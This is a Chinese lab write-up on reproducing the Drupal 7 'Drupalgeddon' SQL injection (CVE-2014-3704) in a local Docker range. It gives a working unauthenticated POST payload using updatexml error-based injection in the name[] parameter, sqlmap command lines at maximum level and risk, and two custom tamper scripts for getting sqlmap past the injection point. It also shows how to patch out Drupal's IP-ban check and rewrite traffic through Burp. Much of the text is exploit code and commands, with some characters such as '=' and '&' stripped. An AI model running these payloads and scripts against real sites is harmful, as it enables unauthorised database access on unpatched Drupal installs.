)
一、复现教程Drupal 7.32 Drupalgeddon SQL注入漏洞CVE-2014-3704Drupal是一个使用PHP编写的免费开源的Web内容管理框架在GNU通用公共许可证下分发。在Drupal Core 7.32版本之前的7.x版本中数据库抽象API中的expandArguments函数没有正确构造预处理语句这允许远程攻击者通过包含精心构造的键的数组进行SQL注入攻击。参考链接https://www.drupal.org/SA-CORE-2014-005https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2014-3704环境搭建执行如下命令启动一个Drupal 7.31服务器docker compose up -d环境启动后访问http://your-ip:8080将会看到Drupal的安装向导使用默认配置进行安装。注意MySQL数据库名为drupal数据库用户名和密码均为root地址为mysql安装完成后即可访问首页漏洞复现该SQL注入漏洞无需身份认证可以通过发送以下请求来执行恶意SQL语句POST /?qnodedestinationnode HTTP/1.1 Host: your-ip:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 120 passlolform_build_idform_iduser_login_blockopLoginname[0 or updatexml(0,concat(0xa,user()),0)%23]bobname[0]a如图所示SQL语句报错信息中包含了用户数据二、sql注入尝试分析手工注入payload发现是updatexml报错注入确定数据库是MySQL。修改payload确保不是单一成功。passlolform_build_idform_iduser_login_blockopLoginname[0 or updatexml(0,concat(0xa,user()),0)%23]bobname[0]a“[0 or updatexml(0,concat(0xa,user()),0)%23]”是核心命令但是其他数据也不能减少否则不行。然后就是使用sqlmap注入可以使用--data注入也可以使用-r数据包注入方便起见直接-rPOST /?qnodedestinationnode HTTP/1.1 Host: 192.168.98.247:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0 Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8 Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2 Accept-Encoding: gzip, deflate Referer: http://192.168.98.247:8080/install.php?profilestandardlocaleen Sec-GPC: 1 Connection: close Upgrade-Insecure-Requests: 1 If-Modified-Since: Tue, 18 Nov 2025 08:36:38 0000 If-None-Match: 1763454998-gzip Priority: u0, i Content-Type: application/x-www-form-urlencoded Content-Length: 120 passlolform_build_idform_iduser_login_blockopLoginname[0 or updatexml(0,concat(0xa,user()),0)%23]bobname[0]a命令python sqlmap.py -r E:\sqlmap-librity\-r\test.txt -p op --dbmsmysql --techniqueE --proxyhttp://127.0.0.1:8080 --level 5 --risk 3 -v 3结果发现状态码都是200肯定不可能。经过各种尝试发现ip被封了。经过查阅资料发现Drupal本身就带有检查机制会自动判断是否被攻击发现同一个ip多次访问失败就会封禁此ip。这还是我第一次遇到问了AI说可以使用代理ip当时笔者找了好久之前的大佬写的tamper脚本让sqlmap使用代理池的tamper不过这个脚本太古老了那个网站都失效了。笔者自己找了一些代理准备尝试突然意识到不对劲了这是我手机热点创建的局域网属于私有的外网无法访问压根没用办法使用代理。其实也可以不过很难要用手机设置其他ip。本来这就是个靶场改源码就行了笔者最开始想到了但是笔者代码能力太差了一直不敢尝试最后其他方法都试遍了没辙了才去改了源码。三、源码修改笔者靶场是搭建在Ubuntu虚拟机上的使用docker容器搭建的。先进入靶场文件夹然后docker exec -it 容器号/容器名 /bin/bash此时就进入了靶场内然后找到要修改的文件cd /var/www/html/modules/user文件名是user.module如果安装过vi或者其他编辑器的话可以直接修改笔者这里没安装把文件复制到虚拟机里面docker cp 号/名:文件路径 ./user.module然后直接在虚拟机进行修改在这个文件里面找到user_login_final_validate($form, $form_state)函数然后在函数第一行直接加上return; 这样这个函数就不会进行下面的任务也就是去除了ip检测与封禁功能。保存之后docker cp ./user.module 号/名文件路径这样之后就会覆盖原来的文件如果害怕改错了可以提前进行备份。docker是虚拟机的命令不是靶场环境的然后删除原来的缓存rm -rf sites/default/files/cache之后再用sqlmap注入测试就不会进行IP封禁了。四、sqlmap注入成功其实这个靶场除了改源码真的算是很简单了不过要细心耐心笔者都差点放弃了。python sqlmap.py -r E:\sqlmap-librity\-r\test.txt -p op --tamperCVE-2014-3704.py --dbmsmysql --techniqueE --proxyhttp://127.0.0.1:8080 --level 5 --risk 3 -v 3使用上面那个注入命令test.txtPOST /?qnodedestinationnode HTTP/1.1 Host: 192.168.98.247:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0 Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8 Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2 Accept-Encoding: gzip, deflate Referer: http://192.168.98.247:8080/install.php?profilestandardlocaleen Sec-GPC: 1 Connection: close Upgrade-Insecure-Requests: 1 If-Modified-Since: Tue, 18 Nov 2025 08:36:38 0000 If-None-Match: 1763454998-gzip Priority: u0, i Content-Type: application/x-www-form-urlencoded Content-Length: 125 passlolfrom_build_idform_iduser_login_blockopCVE-2014-3704.py (这个tamper脚本是以前用过的改一下就行):#!/usr/bin/env python from lib.core.enums import PRIORITY __priority__ PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): if not payload: # 如果 payload 为空如探测请求提供一个真值条件保持语句正确 return Loginname[0((1))%23]bobname[0]a # 核心将 sqlmap 的 payload 嵌入到手工构造的语句中 formatted_payload Loginname[0 {} %23]bobname[0]a.format(payload) return formatted_payloadpasslolform_build_idform_iduser_login_blockopLoginname[0 or updatexml(0,concat(0xa,user()),0)%23]bobname[0]a这段数据每一个都是一个对应的选择一般的payload都是在之后这个很特殊在参数name[]里,所以没法-p指定name只能使用tamper脚本把Loginname[0加到前面然后-p指定op参数。经过sqlmap注入发现所有回显也都还是200状态码什么原因导致的呢经过研究发现有两处会导致错误第一个这个是sqlmap在产生payload时候会在最后加上-- xxxx经过尝试这个靶场不能使用--注释只能使用#。怎么改呢tamper脚本呗直接将payload的--都替换成#就行--to#.py:#!/usr/bin/env python from lib.core.enums import PRIORITY __priority__ PRIORITY.NORMAL # 定义脚本优先级 def dependencies(): pass def tamper(payload, **kwargs): if payload: # 替换 -- 注意有一个空格为 # payload payload.replace(-- , #) # 替换 URL 编码形式的空格 --%20 为 # payload payload.replace(--%20, #) # 也处理可能没有紧跟空格的情况但 sqlmap 通常会有 payload payload.replace(--, #) return payload第二个还一个呢在burp suite一个个参数尝试经过半天的尝试发现是被编码了导致这个payload整体出错了。知道原因了要怎么解决呢笔者还是先想到了tamper脚本经过四个ai生成的脚本尝试都不行。最后想到burp suite的proxy-options-Match and Replace利用burp suite的改包功能将sqlmap生成的所有包都进行修改将%26替换成就解决了问题。看到上图有两个替换没这是浪费笔者仨小时才发现的不能顾头不顾腚后面那个也会被编码照样无法成功。然后就直接爆破python sqlmap.py -r E:\sqlmap-librity\-r\test.txt -p op --tamperCVE-2014-3704.py,--to#.py --dbmsmysql --techniqueE --proxyhttp://127.0.0.1:8080 --level 5 --risk 3 -v 4 --code500 --dbs-v 4会实时显示sqlmap发送的所有的包而3只显示payload